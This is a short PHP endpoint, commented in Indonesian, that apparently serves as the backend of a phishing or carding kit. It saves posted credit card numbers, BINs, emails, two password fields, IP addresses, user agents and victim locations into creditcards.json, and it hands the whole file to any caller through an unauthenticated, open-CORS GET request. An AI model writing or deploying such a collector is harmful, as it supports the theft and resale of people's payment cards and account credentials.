<?php
// === Headers ===
header("Content-Type: application/json");
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Headers: Content-Type");
header("Access-Control-Allow-Methods: GET, POST, DELETE, OPTIONS");
header("Cache-Control: no-cache, no-store, must-revalidate");
header("Pragma: no-cache");
header("Expires: 0");

// === Preflight CORS ===
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit();
}

// === Path JSON file ===
$data_file = "../creditcards.json";

// === Load JSON file (buat jika tidak ada) ===
function load_json($file) {
    if (!file_exists($file)) {
        file_put_contents($file, json_encode([])); // Buat file kosong
    }
    $json = file_get_contents($file);
    $data = json_decode($json, true);
    return is_array($data) ? $data : [];
}

// === Simpan JSON file ===
function save_json($file, $data) {
    if (!file_exists($file)) {
        touch($file); // Buat file kosong
    }
    file_put_contents($file, json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
}

// === Tangkap request method ===
$method = $_SERVER['REQUEST_METHOD'];

switch ($method) {
    // === GET: tampilkan semua data
    case 'GET':
        $cards = load_json($data_file);
        echo json_encode($cards);
        break;

    // === POST: tambah data
    case 'POST':
        $input = json_decode(file_get_contents("php://input"), true);

        if (!is_array($input)) {
            http_response_code(400);
            echo json_encode(['error' => 'Invalid JSON body']);
            exit();
        }

        // Normalisasi field wajib
        $input['bin']    = $input['bin'] ?? substr($input['cc_number'] ?? '', 0, 6);
        $input['log_at'] = $input['log_at'] ?? date("Y-m-d H:i:s");
        $input['id']     = uniqid();

        // Tambahkan field baru (kalau belum ada)
        $input += [
            'city' => $input['city'] ?? '-',
            'state' => $input['state'] ?? '-',
            'device' => $input['device'] ?? '-',
            'browser' => $input['browser'] ?? '-',
            'ip_address' => $input['ip_address'] ?? '-',
            'user_agent' => $input['user_agent'] ?? '-',
            'email' => $input['email'] ?? '-',
            'password1' => $input['password1'] ?? '-',
            'password2' => $input['password2'] ?? '-',
        ];

        $cards = load_json($data_file);
        $cards[] = $input;
        save_json($data_file, $cards);

        echo json_encode(['status' => 'created', 'id' => $input['id']]);
        break;

    // === DELETE: hapus berdasarkan ID
    case 'DELETE':
        parse_str(file_get_contents("php://input"), $params);

        if (empty($params['id'])) {
            http_response_code(400);
            echo json_encode(['error' => 'Missing required field: id']);
            exit();
        }

        $cards = load_json($data_file);
        $filtered = array_filter($cards, fn($c) => $c['id'] !== $params['id']);

        if (count($filtered) === count($cards)) {
            http_response_code(404);
            echo json_encode(['error' => 'ID not found']);
            exit();
        }

        save_json($data_file, array_values($filtered));
        echo json_encode(['status' => 'deleted']);
        break;

    // === Jika method tidak dikenal
    default:
        http_response_code(405);
        echo json_encode(['error' => 'Method not allowed']);
        break;
}
?>
